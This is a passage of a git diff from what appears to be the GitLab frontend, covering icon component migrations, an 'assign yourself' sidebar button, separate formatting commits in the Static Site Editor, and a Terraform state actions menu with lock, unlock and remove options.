+ name="warning-solid"
aria-hidden="true"
- class="fa fa-exclamation-triangle merge-icon"
- ></i>
+ class="merge-icon"
+ />
</button>
</div>
</template>
diff --git a/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue b/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue
index cf6a0a4a151..3c1b3afe889 100644
--- a/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue
@@ -1,9 +1,11 @@
<script>
+import { GlButton } from '@gitlab/ui';
import { n__ } from '~/locale';
import UncollapsedAssigneeList from '~/sidebar/components/assignees/uncollapsed_assignee_list.vue';
export default {
components: {
+ GlButton,
UncollapsedAssigneeList,
},
inject: ['rootPath'],
@@ -27,9 +29,15 @@ export default {
<template>
<div class="gl-display-flex gl-flex-direction-column">
<div v-if="emptyUsers" data-testid="none">
- <span>
- {{ __('None') }}
- </span>
+ <span> {{ __('None') }} -</span>
+ <gl-button
+ data-testid="assign-yourself"
+ category="tertiary"
+ variant="link"
+ @click="$emit('assign-self')"
+ >
+ <span class="gl-text-gray-400">{{ __('assign yourself') }}</span>
+ </gl-button>
</div>
<uncollapsed-assignee-list v-else :users="users" :root-path="rootPath" />
</div>
diff --git a/app/assets/javascripts/sidebar/components/confidential/confidential_issue_sidebar.vue b/app/assets/javascripts/sidebar/components/confidential/confidential_issue_sidebar.vue
index 2530cb77acd..ce120ff82f3 100644
--- a/app/assets/javascripts/sidebar/components/confidential/confidential_issue_sidebar.vue
+++ b/app/assets/javascripts/sidebar/components/confidential/confidential_issue_sidebar.vue
@@ -77,7 +77,7 @@ export default {
class="sidebar-collapsed-icon"
@click="toggleForm"
>
- <gl-icon :name="confidentialityIcon" aria-hidden="true" />
+ <gl-icon :name="confidentialityIcon" />
</div>
<div class="title hide-collapsed">
{{ __('Confidentiality') }}
@@ -101,16 +101,11 @@ export default {
:issuable-type="issuableType"
/>
<div v-if="!confidential" class="no-value sidebar-item-value" data-testid="not-confidential">
- <gl-icon :size="16" name="eye" aria-hidden="true" class="sidebar-item-icon inline" />
+ <gl-icon :size="16" name="eye" class="sidebar-item-icon inline" />
{{ __('Not confidential') }}
</div>
<div v-else class="value sidebar-item-value hide-collapsed">
- <gl-icon
- :size="16"
- name="eye-slash"
- aria-hidden="true"
- class="sidebar-item-icon inline is-active"
- />
+ <gl-icon :size="16" name="eye-slash" class="sidebar-item-icon inline is-active" />
{{ confidentialText }}
</div>
</div>
diff --git a/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue b/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue
index 1785174e8d7..07abfa8d103 100644
--- a/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue
+++ b/app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue
@@ -1,7 +1,7 @@
<script>
import $ from 'jquery';
import { camelCase, difference, union } from 'lodash';
-import updateIssueLabelsMutation from '~/boards/queries/issue_set_labels.mutation.graphql';
+import updateIssueLabelsMutation from '~/boards/graphql/issue_set_labels.mutation.graphql';
import createFlash from '~/flash';
import { IssuableType } from '~/issue_show/constants';
import { __ } from '~/locale';
diff --git a/app/assets/javascripts/sidebar/components/reviewers/collapsed_reviewer_list.vue b/app/assets/javascripts/sidebar/components/reviewers/collapsed_reviewer_list.vue
index 45707c18f7b..10b16a44261 100644
--- a/app/assets/javascripts/sidebar/components/reviewers/collapsed_reviewer_list.vue
+++ b/app/assets/javascripts/sidebar/components/reviewers/collapsed_reviewer_list.vue
@@ -97,11 +97,12 @@ export default {
<collapsed-reviewer v-for="user in collapsedUsers" :key="user.id" :user="user" />
<button v-if="hasMoreThanTwoReviewers" class="btn-link" type="button">
<span class="avatar-counter sidebar-avatar-counter"> {{ sidebarAvatarCounter }} </span>
- <i
+ <gl-icon
v-if="!allReviewersCanMerge"
+ name="warning-solid"
aria-hidden="true"
- class="fa fa-exclamation-triangle merge-icon"
- ></i>
+ class="merge-icon"
+ />
</button>
</div>
</template>
diff --git a/app/assets/javascripts/sidebar/components/reviewers/reviewer_avatar.vue b/app/assets/javascripts/sidebar/components/reviewers/reviewer_avatar.vue
index 9fa3fa38eac..7961b7cd679 100644
--- a/app/assets/javascripts/sidebar/components/reviewers/reviewer_avatar.vue
+++ b/app/assets/javascripts/sidebar/components/reviewers/reviewer_avatar.vue
@@ -1,9 +1,13 @@
<script>
// NOTE! For the first iteration, we are simply copying the implementation of Assignees
// It will soon be overhauled in Issue https://gitlab.com/gitlab-org/gitlab/-/issues/233736
+import { GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
export default {
+ components: {
+ GlIcon,
+ },
props: {
user: {
type: Object,
@@ -38,6 +42,6 @@ export default {
class="avatar avatar-inline m-0"
data-qa-selector="avatar_image"
/>
- <i v-if="hasMergeIcon" aria-hidden="true" class="fa fa-exclamation-triangle merge-icon"></i>
+ <gl-icon v-if="hasMergeIcon" name="warning-solid" aria-hidden="true" class="merge-icon" />
</span>
</template>
diff --git a/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue b/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue
index 4f4f7002dc9..d64b483acb1 100644
--- a/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue
+++ b/app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue
@@ -59,7 +59,7 @@ export default {
href="#"
role="button"
>
- <gl-icon aria-hidden="true" data-hidden="true" name="chevron-double-lg-right" :size="12" />
+ <gl-icon data-hidden="true" name="chevron-double-lg-right" :size="12" />
</a>
</div>
</template>
diff --git a/app/assets/javascripts/sidebar/components/subscriptions/subscriptions.vue b/app/assets/javascripts/sidebar/components/subscriptions/subscriptions.vue
index 6e004084077..6d21936791c 100644
--- a/app/assets/javascripts/sidebar/components/subscriptions/subscriptions.vue
+++ b/app/assets/javascripts/sidebar/components/subscriptions/subscriptions.vue
@@ -114,12 +114,7 @@ export default {
class="sidebar-collapsed-icon"
@click="onClickCollapsedIcon"
>
- <gl-icon
- :name="notificationIcon"
- :size="16"
- aria-hidden="true"
- class="sidebar-item-icon is-active"
- />
+ <gl-icon :name="notificationIcon" :size="16" class="sidebar-item-icon is-active" />
</span>
<span class="issuable-header-text hide-collapsed float-left"> {{ notificationText }} </span>
<toggle-button
diff --git a/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue b/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue
index 51719df313f..1e3e870ec83 100644
--- a/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue
+++ b/app/assets/javascripts/sidebar/components/todo_toggle/todo.vue
@@ -1,19 +1,18 @@
<script>
-import { GlLoadingIcon, GlIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlIcon, GlTooltipDirective } from '@gitlab/ui';
import { __ } from '~/locale';
-import tooltip from '~/vue_shared/directives/tooltip';
const MARK_TEXT = __('Mark as done');
const TODO_TEXT = __('Add a To-Do');
export default {
- directives: {
- tooltip,
- },
components: {
GlIcon,
GlLoadingIcon,
},
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
props: {
issuableId: {
type: Number,
@@ -71,16 +70,13 @@ export default {
<template>
<button
- v-tooltip
+ v-gl-tooltip.left.viewport
:class="buttonClasses"
:title="buttonTooltip"
:aria-label="buttonLabel"
:data-issuable-id="issuableId"
:data-issuable-type="issuableType"
type="button"
- data-container="body"
- data-placement="left"
- data-boundary="viewport"
@click="handleButtonClick"
>
<gl-icon
diff --git a/app/assets/javascripts/single_file_diff.js b/app/assets/javascripts/single_file_diff.js
index 3492f19c996..f751df6367e 100644
--- a/app/assets/javascripts/single_file_diff.js
+++ b/app/assets/javascripts/single_file_diff.js
@@ -23,7 +23,8 @@ export default class SingleFileDiff {
this.file = file;
this.toggleDiff = this.toggleDiff.bind(this);
this.content = $('.diff-content', this.file);
- this.$toggleIcon = $('.diff-toggle-caret', this.file);
+ this.$chevronRightIcon = $('.diff-toggle-caret .chevron-right', this.file);
+ this.$chevronDownIcon = $('.diff-toggle-caret .chevron-down', this.file);
this.diffForPath = this.content.find('[data-diff-for-path]').data('diffForPath');
this.isOpen = !this.diffForPath;
if (this.diffForPath) {
@@ -34,13 +35,13 @@ export default class SingleFileDiff {
.hide();
this.content = null;
this.collapsedContent.after(this.loadingContent);
- this.$toggleIcon.addClass('fa-caret-right');
+ this.$chevronRightIcon.removeClass('gl-display-none');
} else {
this.collapsedContent = $(WRAPPER)
.html(COLLAPSED_HTML)
.hide();
this.content.after(this.collapsedContent);
- this.$toggleIcon.addClass('fa-caret-down');
+ this.$chevronDownIcon.removeClass('gl-display-none');
}
$('.js-file-title, .click-to-expand', this.file).on('click', e => {
@@ -52,20 +53,23 @@ export default class SingleFileDiff {
if (
!$target.hasClass('js-file-title') &&
!$target.hasClass('click-to-expand') &&
- !$target.hasClass('diff-toggle-caret')
+ !$target.closest('.diff-toggle-caret').length > 0
)
return;
this.isOpen = !this.isOpen;
if (!this.isOpen && !this.hasError) {
this.content.hide();
- this.$toggleIcon.addClass('fa-caret-right').removeClass('fa-caret-down');
+ this.$chevronRightIcon.removeClass('gl-display-none');
+ this.$chevronDownIcon.addClass('gl-display-none');
this.collapsedContent.show();
} else if (this.content) {
this.collapsedContent.hide();
this.content.show();
- this.$toggleIcon.addClass('fa-caret-down').removeClass('fa-caret-right');
+ this.$chevronDownIcon.removeClass('gl-display-none');
+ this.$chevronRightIcon.addClass('gl-display-none');
} else {
- this.$toggleIcon.addClass('fa-caret-down').removeClass('fa-caret-right');
+ this.$chevronDownIcon.removeClass('gl-display-none');
+ this.$chevronRightIcon.addClass('gl-display-none');
return this.getContentHTML(cb);
}
}
diff --git a/app/assets/javascripts/smart_interval.js b/app/assets/javascripts/smart_interval.js
index 0e52d2d8010..c4655d35cf0 100644
--- a/app/assets/javascripts/smart_interval.js
+++ b/app/assets/javascripts/smart_interval.js
@@ -95,6 +95,7 @@ export default class SmartInterval {
window.removeEventListener('blur', this.onWindowVisibilityChange);
window.removeEventListener('focus', this.onWindowVisibilityChange);
this.cancel();
+ // eslint-disable-next-line @gitlab/no-global-event-off
$(document)
.off('visibilitychange')
.off('beforeunload');
diff --git a/app/assets/javascripts/sourcegraph/index.js b/app/assets/javascripts/sourcegraph/index.js
index 796e90bf08e..487a565b152 100644
--- a/app/assets/javascripts/sourcegraph/index.js
+++ b/app/assets/javascripts/sourcegraph/index.js
@@ -17,7 +17,7 @@ export default function initSourcegraph() {
return;
}
- const assetsUrl = new URL('/assets/webpack/sourcegraph/', window.location.href);
+ const assetsUrl = new URL(process.env.SOURCEGRAPH_PUBLIC_PATH, window.location.href);
const scriptPath = new URL('scripts/integration.bundle.js', assetsUrl).href;
window.SOURCEGRAPH_ASSETS_URL = assetsUrl.href;
diff --git a/app/assets/javascripts/static_site_editor/components/edit_area.vue b/app/assets/javascripts/static_site_editor/components/edit_area.vue
index 69eabfe5339..b47126cdeb3 100644
--- a/app/assets/javascripts/static_site_editor/components/edit_area.vue
+++ b/app/assets/javascripts/static_site_editor/components/edit_area.vue
@@ -60,6 +60,7 @@ export default {
},
data() {
return {
+ formattedMarkdown: null,
parsedSource: parseSourceFile(this.preProcess(true, this.content)),
editorMode: EDITOR_TYPES.wysiwyg,
hasMatter: false,
@@ -140,10 +141,14 @@ export default {
onSubmit() {
const preProcessedContent = this.preProcess(false, this.parsedSource.content());
this.$emit('submit', {
+ formattedMarkdown: this.formattedMarkdown,
content: preProcessedContent,
images: this.$options.imageRepository.getAll(),
});
},
+ onEditorLoad({ formattedMarkdown }) {
+ this.formattedMarkdown = formattedMarkdown;
+ },
},
};
</script>
@@ -167,6 +172,7 @@ export default {
@modeChange="onModeChange"
@input="onInputChange"
@uploadImage="onUploadImage"
+ @load="onEditorLoad"
/>
<unsaved-changes-confirm-dialog :modified="isSaveable" />
<publish-toolbar
diff --git a/app/assets/javascripts/static_site_editor/constants.js b/app/assets/javascripts/static_site_editor/constants.js
index faa4026c064..4cabd943e22 100644
--- a/app/assets/javascripts/static_site_editor/constants.js
+++ b/app/assets/javascripts/static_site_editor/constants.js
@@ -15,10 +15,21 @@ export const LOAD_CONTENT_ERROR = __(
'An error ocurred while loading your content. Please try again.',
);
+export const DEFAULT_FORMATTING_CHANGES_COMMIT_MESSAGE = s__(
+ 'StaticSiteEditor|Automatic formatting changes',
+);
+
+export const DEFAULT_FORMATTING_CHANGES_COMMIT_DESCRIPTION = s__(
+ 'StaticSiteEditor|Markdown formatting preferences introduced by the Static Site Editor',
+);
+
export const DEFAULT_HEADING = s__('StaticSiteEditor|Static site editor');
export const TRACKING_ACTION_CREATE_COMMIT = 'create_commit';
export const TRACKING_ACTION_CREATE_MERGE_REQUEST = 'create_merge_request';
export const TRACKING_ACTION_INITIALIZE_EDITOR = 'initialize_editor';
+export const USAGE_PING_TRACKING_ACTION_CREATE_COMMIT = 'static_site_editor_commits';
+export const USAGE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST = 'static_site_editor_merge_requests';
+
export const MR_META_LOCAL_STORAGE_KEY = 'sse-merge-request-meta-storage-key';
diff --git a/app/assets/javascripts/static_site_editor/graphql/resolvers/submit_content_changes.js b/app/assets/javascripts/static_site_editor/graphql/resolvers/submit_content_changes.js
index 4137ede49c6..1bd79d40071 100644
--- a/app/assets/javascripts/static_site_editor/graphql/resolvers/submit_content_changes.js
+++ b/app/assets/javascripts/static_site_editor/graphql/resolvers/submit_content_changes.js
@@ -4,7 +4,17 @@ import savedContentMetaQuery from '../queries/saved_content_meta.query.graphql';
const submitContentChangesResolver = (
_,
- { input: { project: projectId, username, sourcePath, content, images, mergeRequestMeta } },
+ {
+ input: {
+ project: projectId,
+ username,
+ sourcePath,
+ content,
+ images,
+ mergeRequestMeta,
+ formattedMarkdown,
+ },
+ },
{ cache },
) => {
return submitContentChanges({
@@ -14,6 +24,7 @@ const submitContentChangesResolver = (
content,
images,
mergeRequestMeta,
+ formattedMarkdown,
}).then(savedContentMeta => {
const data = produce(savedContentMeta, draftState => {
return {
diff --git a/app/assets/javascripts/static_site_editor/pages/home.vue b/app/assets/javascripts/static_site_editor/pages/home.vue
index 68943113c14..1e52e73294e 100644
--- a/app/assets/javascripts/static_site_editor/pages/home.vue
+++ b/app/assets/javascripts/static_site_editor/pages/home.vue
@@ -53,6 +53,7 @@ export default {
return {
content: null,
images: null,
+ formattedMarkdown: null,
submitChangesError: null,
isSavingChanges: false,
};
@@ -79,9 +80,10 @@ export default {
onDismissError() {
this.submitChangesError = null;
},
- onPrepareSubmit({ content, images }) {
+ onPrepareSubmit({ formattedMarkdown, content, images }) {
this.content = content;
this.images = images;
+ this.formattedMarkdown = formattedMarkdown;
this.isSavingChanges = true;
this.$refs.editMetaModal.show();
@@ -110,6 +112,7 @@ export default {
username: this.appData.username,
sourcePath: this.appData.sourcePath,
content: this.content,
+ formattedMarkdown: this.formattedMarkdown,
images: this.images,
mergeRequestMeta,
},
diff --git a/app/assets/javascripts/static_site_editor/services/submit_content_changes.js b/app/assets/javascripts/static_site_editor/services/submit_content_changes.js
index 8623a671a7d..e57028ea05a 100644
--- a/app/assets/javascripts/static_site_editor/services/submit_content_changes.js
+++ b/app/assets/javascripts/static_site_editor/services/submit_content_changes.js
@@ -10,6 +10,10 @@ import {
SUBMIT_CHANGES_MERGE_REQUEST_ERROR,
TRACKING_ACTION_CREATE_COMMIT,
TRACKING_ACTION_CREATE_MERGE_REQUEST,
+ USAGE_PING_TRACKING_ACTION_CREATE_COMMIT,
+ USAGE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST,
+ DEFAULT_FORMATTING_CHANGES_COMMIT_MESSAGE,
+ DEFAULT_FORMATTING_CHANGES_COMMIT_DESCRIPTION,
} from '../constants';
const createBranch = (projectId, branch) =>
@@ -45,22 +49,24 @@ const createImageActions = (images, markdown) => {
return actions;
};
-const commitContent = (projectId, message, branch, sourcePath, content, images) => {
+const createUpdateSourceFileAction = (sourcePath, content) => [
+ convertObjectPropsToSnakeCase({
+ action: 'update',
+ filePath: sourcePath,
+ content,
+ }),
+];
+
+const commit = (projectId, message, branch, actions) => {
Tracking.event(document.body.dataset.page, TRACKING_ACTION_CREATE_COMMIT);
+ Api.trackRedisCounterEvent(USAGE_PING_TRACKING_ACTION_CREATE_COMMIT);
return Api.commitMultiple(
projectId,
convertObjectPropsToSnakeCase({
branch,
commitMessage: message,
- actions: [
- convertObjectPropsToSnakeCase({
- action: 'update',
- filePath: sourcePath,
- content,
- }),
- ...createImageActions(images, content),
- ],
+ actions,
}),
).catch(() => {
throw new Error(SUBMIT_CHANGES_COMMIT_ERROR);
@@ -75,6 +81,7 @@ const createMergeRequest = (
targetBranch = DEFAULT_TARGET_BRANCH,
) => {
Tracking.event(document.body.dataset.page, TRACKING_ACTION_CREATE_MERGE_REQUEST);
+ Api.trackRedisCounterEvent(USAGE_PING_TRACKING_ACTION_CREATE_MERGE_REQUEST);
return Api.createProjectMergeRequest(
projectId,
@@ -96,6 +103,7 @@ const submitContentChanges = ({
content,
images,
mergeRequestMeta,
+ formattedMarkdown,
}) => {
const branch = generateBranchName(username);
const { title: mergeRequestTitle, description: mergeRequestDescription } = mergeRequestMeta;
@@ -103,10 +111,25 @@ const submitContentChanges = ({
return createBranch(projectId, branch)
.then(({ data: { web_url: url } }) => {
+ const message = `${DEFAULT_FORMATTING_CHANGES_COMMIT_MESSAGE}\n\n${DEFAULT_FORMATTING_CHANGES_COMMIT_DESCRIPTION}`;
+
Object.assign(meta, { branch: { label: branch, url } });
- return commitContent(projectId, mergeRequestTitle, branch, sourcePath, content, images);
+ return formattedMarkdown
+ ? commit(
+ projectId,
+ message,
+ branch,
+ createUpdateSourceFileAction(sourcePath, formattedMarkdown),
+ )
+ : meta;
})
+ .then(() =>
+ commit(projectId, mergeRequestTitle, branch, [
+ ...createUpdateSourceFileAction(sourcePath, content),
+ ...createImageActions(images, content),
+ ]),
+ )
.then(({ data: { short_id: label, web_url: url } }) => {
Object.assign(meta, { commit: { label, url } });
diff --git a/app/assets/javascripts/terminal/terminal.js b/app/assets/javascripts/terminal/terminal.js
index cf9064aba57..bae320cb705 100644
--- a/app/assets/javascripts/terminal/terminal.js
+++ b/app/assets/javascripts/terminal/terminal.js
@@ -25,6 +25,7 @@ export default class GLTerminal {
this.setSocketUrl();
this.createTerminal();
+ // eslint-disable-next-line @gitlab/no-global-event-off
$(window)
.off('resize.terminal')
.on('resize.terminal', () => {
@@ -104,6 +105,7 @@ export default class GLTerminal {
}
dispose() {
+ // eslint-disable-next-line @gitlab/no-global-event-off
this.terminal.off('data');
this.terminal.dispose();
this.socket.close();
diff --git a/app/assets/javascripts/terraform/components/states_table.vue b/app/assets/javascripts/terraform/components/states_table.vue
index 2e4c18c5a5b..d0d49233334 100644
--- a/app/assets/javascripts/terraform/components/states_table.vue
+++ b/app/assets/javascripts/terraform/components/states_table.vue
@@ -1,16 +1,22 @@
<script>
-import { GlBadge, GlIcon, GlSprintf, GlTable, GlTooltip } from '@gitlab/ui';
+import { GlBadge, GlIcon, GlLink, GlSprintf, GlTable, GlTooltip } from '@gitlab/ui';
import { s__ } from '~/locale';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import StateActions from './states_table_actions.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
export default {
components: {
+ CiBadge,
GlBadge,
GlIcon,
+ GlLink,
GlSprintf,
GlTable,
GlTooltip,
+ StateActions,
TimeAgoTooltip,
},
mixins: [timeagoMixin],
@@ -19,28 +25,73 @@ export default {
required: true,
type: Array,
},
+ terraformAdmin: {
+ required: false,
+ type: Boolean,
+ default: false,
+ },
},
computed: {
fields() {
- return [
+ const columns = [
{
key: 'name',
- thClass: 'gl-display-none',
+ label: this.$options.i18n.name,
+ },
+ {
+ key: 'pipeline',
+ label: this.$options.i18n.pipeline,
},
{
key: 'updated',
- thClass: 'gl-display-none',
- tdClass: 'gl-text-right',
+ label: this.$options.i18n.details,
},
];
+
+ if (this.terraformAdmin) {
+ columns.push({
+ key: 'actions',
+ label: this.$options.i18n.actions,
+ thClass: 'gl-w-12',
+ tdClass: 'gl-text-right',
+ });
+ }
+
+ return columns;
},
},
+ i18n: {
+ actions: s__('Terraform|Actions'),
+ details: s__('Terraform|Details'),
+ jobStatus: s__('Terraform|Job status'),
+ locked: s__('Terraform|Locked'),
+ lockedByUser: s__('Terraform|Locked by %{user} %{timeAgo}'),
+ name: s__('Terraform|Name'),
+ pipeline: s__('Terraform|Pipeline'),
+ unknownUser: s__('Terraform|Unknown User'),
+ updatedUser: s__('Terraform|%{user} updated %{timeAgo}'),
+ },
methods: {
createdByUserName(item) {
return item.latestVersion?.createdByUser?.name;
},
lockedByUserName(item) {
- return item.lockedByUser?.name || s__('Terraform|Unknown User');
+ return item.lockedByUser?.name || this.$options.i18n.unknownUser;
+ },
+ pipelineDetailedStatus(item) {
+ return item.latestVersion?.job?.detailedStatus;
+ },
+ pipelineID(item) {
+ let id = item.latestVersion?.job?.pipeline?.id;
+
+ if (id) {
+ id = getIdFromGraphQLId(id);
+ }
+
+ return id;
+ },
+ pipelinePath(item) {
+ return item.latestVersion?.job?.pipeline?.path;
},
updatedTime(item) {
return item.latestVersion?.updatedAt || item.updatedAt;
@@ -50,25 +101,34 @@ export default {
</script>
<template>
- <gl-table :items="states" :fields="fields" data-testid="terraform-states-table">
+ <gl-table
+ :items="states"
+ :fields="fields"
+ data-testid="terraform-states-table"
+ fixed
+ stacked="md"
+ >
<template #cell(name)="{ item }">
- <div class="gl-display-flex align-items-center" data-testid="terraform-states-table-name">
+ <div
+ class="gl-display-flex align-items-center gl-justify-content-end gl-justify-content-md-start"
+ data-testid="terraform-states-table-name"
+ >
<p class="gl-font-weight-bold gl-m-0 gl-text-gray-900">
{{ item.name }}
</p>
- <div v-if="item.lockedAt" id="terraformLockedBadgeContainer" class="gl-mx-2">
- <gl-badge id="terraformLockedBadge">
+ <div v-if="item.lockedAt" :id="`terraformLockedBadgeContainer${item.name}`" class="gl-mx-2">
+ <gl-badge :id="`terraformLockedBadge${item.name}`">
<gl-icon name="lock" />
- {{ s__('Terraform|Locked') }}
+ {{ $options.i18n.locked }}
</gl-badge>
<gl-tooltip
- container="terraformLockedBadgeContainer"
+ :container="`terraformLockedBadgeContainer${item.name}`"
+ :target="`terraformLockedBadge${item.name}`"
placement="right"
- target="terraformLockedBadge"
>
- <gl-sprintf :message="s__('Terraform|Locked by %{user} %{timeAgo}')">
+ <gl-sprintf :message="$options.i18n.lockedByUser">
<template #user>
{{ lockedByUserName(item) }}
</template>
@@ -82,9 +142,37 @@ export default {
</div>
</template>
+ <template #cell(pipeline)="{ item }">
+ <div data-testid="terraform-states-table-pipeline" class="gl-min-h-7">
+ <gl-link v-if="pipelineID(item)" :href="pipelinePath(item)">
+ #{{ pipelineID(item) }}
+ </gl-link>
+
+ <div
+ v-if="pipelineDetailedStatus(item)"
+ :id="`terraformJobStatusContainer${item.name}`"
+ class="gl-my-2"
+ >
+ <ci-badge
+ :id="`terraformJobStatus${item.name}`"
+ :status="pipelineDetailedStatus(item)"
+ class="gl-py-1"
+ />
+
+ <gl-tooltip
+ :container="`terraformJobStatusContainer${item.name}`"
+ :target="`terraformJobStatus${item.name}`"
+ placement="right"
+ >
+ {{ $options.i18n.jobStatus }}
+ </gl-tooltip>
+ </div>
+ </div>
+ </template>
+
<template #cell(updated)="{ item }">
<p class="gl-m-0" data-testid="terraform-states-table-updated">
- <gl-sprintf :message="s__('Terraform|%{user} updated %{timeAgo}')">
+ <gl-sprintf :message="$options.i18n.updatedUser">
<template #user>
<span v-if="item.latestVersion">
{{ createdByUserName(item) }}
@@ -97,5 +185,9 @@ export default {
</gl-sprintf>
</p>
</template>
+
+ <template v-if="terraformAdmin" #cell(actions)="{ item }">
+ <state-actions :state="item" />
+ </template>
</gl-table>
</template>
diff --git a/app/assets/javascripts/terraform/components/states_table_actions.vue b/app/assets/javascripts/terraform/components/states_table_actions.vue
new file mode 100644
index 00000000000..44b0713e544
--- /dev/null
+++ b/app/assets/javascripts/terraform/components/states_table_actions.vue
@@ -0,0 +1,192 @@
+<script>
+import {
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownItem,
+ GlFormGroup,
+ GlFormInput,
+ GlIcon,
+ GlModal,
+ GlSprintf,
+} from '@gitlab/ui';
+import { s__ } from '~/locale';
+import lockState from '../graphql/mutations/lock_state.mutation.graphql';
+import unlockState from '../graphql/mutations/unlock_state.mutation.graphql';
+import removeState from '../graphql/mutations/remove_state.mutation.graphql';
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownItem,
+ GlFormGroup,
+ GlFormInput,
+ GlIcon,
+ GlModal,
+ GlSprintf,
+ },
+ props: {
+ state: {
+ required: true,
+ type: Object,
+ },
+ },
+ data() {
+ return {
+ loading: false,
+ showRemoveModal: false,
+ removeConfirmText: '',
+ };
+ },
+ i18n: {
+ downloadJSON: s__('Terraform|Download JSON'),
+ lock: s__('Terraform|Lock'),
+ modalBody: s__(
+ 'Terraform|You are about to remove the State file %{name}. This will permanently delete all the State versions and history. The infrastructure provisioned previously will remain intact, only the state file with all its versions are to be removed. This action is non-revertible.',
+ ),
+ modalCancel: s__('Terraform|Cancel'),
+ modalHeader: s__('Terraform|Are you sure you want to remove the Terraform State %{name}?'),
+ modalInputLabel: s__(
+ 'Terraform|To remove the State file and its versions, type %{name} to confirm:',
+ ),
+ modalRemove: s__('Terraform|Remove'),
+ remove: s__('Terraform|Remove state file and versions'),
+ unlock: s__('Terraform|Unlock'),
+ },
+ computed: {
+ cancelModalProps() {
+ return {
+ text: this.$options.i18n.modalCancel,
+ attributes: [],
+ };
+ },
+ disableModalSubmit() {
+ return this.removeConfirmText !== this.state.name;
+ },
+ primaryModalProps() {
+ return {
+ text: this.$options.i18n.modalRemove,
+ attributes: [{ disabled: this.disableModalSubmit }, { variant: 'danger' }],
+ };
+ },
+ },
+ methods: {
+ hideModal() {
+ this.showRemoveModal = false;
+ this.removeConfirmText = '';
+ },
+ lock() {
+ this.stateMutation(lockState);
+ },
+ unlock() {
+ this.stateMutation(unlockState);
+ },
+ remove() {
+ if (!this.disableModalSubmit) {
+ this.hideModal();
+ this.stateMutation(removeState);
+ }
+ },
+ stateMutation(mutation) {
+ this.loading = true;
+ this.$apollo
+ .mutate({
+ mutation,
+ variables: {
+ stateID: this.state.id,
+ },
+ refetchQueries: () => ['getStates'],
+ awaitRefetchQueries: true,
+ notifyOnNetworkStatusChange: true,
+ })
+ .catch(() => {})
+ .finally(() => {
+ this.loading = false;
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-dropdown
+ icon="ellipsis_v"
+ right
+ :data-testid="`terraform-state-actions-${state.name}`"
+ :disabled="loading"
+ toggle-class="gl-px-3! gl-shadow-none!"
+ >
+ <template #button-content>
+ <gl-icon class="gl-mr-0" name="ellipsis_v" />
+ </template>
+
+ <gl-dropdown-item
+ v-if="state.latestVersion"
+ data-testid="terraform-state-download"
+ :download="`${state.name}.json`"
+ :href="state.latestVersion.downloadPath"
+ >
+ {{ $options.i18n.downloadJSON }}
+ </gl-dropdown-item>
+
+ <gl-dropdown-item v-if="state.lockedAt" data-testid="terraform-state-unlock" @click="unlock">
+ {{ $options.i18n.unlock }}
+ </gl-dropdown-item>
+
+ <gl-dropdown-item v-else data-testid="terraform-state-lock" @click="lock">
+ {{ $options.i18n.lock }}
+ </gl-dropdown-item>
+
+ <gl-dropdown-divider />
+
+ <gl-dropdown-item data-testid="terraform-state-remove" @click="showRemoveModal = true">
+ {{ $options.i18n.remove }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+
+ <gl-modal
+ :modal-id="`terraform-state-actions-remove-modal-${state.name}`"
+ :visible="showRemoveModal"
+ :action-primary="primaryModalProps"
+ :action-cancel="cancelModalProps"
+ @ok="remove"
+ @cancel="hideModal"
+ @close="hideModal"
+ @hide="hideModal"
+ >
+ <template #modal-title>
+ <gl-sprintf :message="$options.i18n.modalHeader">
+ <template #name>
+ <span>{{ state.name }}</span>
+ </template>
+ </gl-sprintf>
+ </template>
+
+ <p>
+ <gl-sprintf :message="$options.i18n.modalBody">
+ <template #name>
+ <span>{{ state.name }}</span>
+ </template>
+ </gl-sprintf>
+ </p>
+
+ <gl-form-group>
+ <template #label>
+ <gl-sprintf :message="$options.i18n.modalInputLabel">
+ <template #name>
+ <code>{{ state.name }}</code>
+ </template>
+ </gl-sprintf>
+ </template>
+ <gl-form-input
+ :id="`terraform-state-remove-input-${state.name}`"
+ ref="input"
+ v-model="removeConfirmText"
+ type="text"
+ @keyup.enter="remove"
+ />
+ </gl-form-group>
+ </gl-modal>
+ </div>
+</template>
diff --git a/app/assets/javascripts/terraform/components/terraform_list.vue b/app/assets/javascripts/terraform/components/terraform_list.vue
index f614bdc8d43..26a0bfe5fa5 100644
--- a/app/assets/javascripts/terraform/components/terraform_list.vue
+++ b/app/assets/javascripts/terraform/components/terraform_list.vue
@@ -15,13 +15,7 @@ export default {
...this.cursor,
};
},
- update: data => {
- return {
- count: data?.project?.terraformStates?.count,
- list: data?.project?.terraformStates?.nodes,
- pageInfo: data?.project?.terraformStates?.pageInfo,
- };
- },
+ update: data => data,
error() {
this.states = null;
},
@@ -46,6 +40,11 @@ export default {
required: true,
type: String,
},
+ terraformAdmin: {
+ required: false,
+ type: Boolean,
+ default: false,
+ },
},
data() {
return {
@@ -62,35 +61,34 @@ export default {
return this.$apollo.queries.states.loading;
},
pageInfo() {
- return this.states?.pageInfo || {};
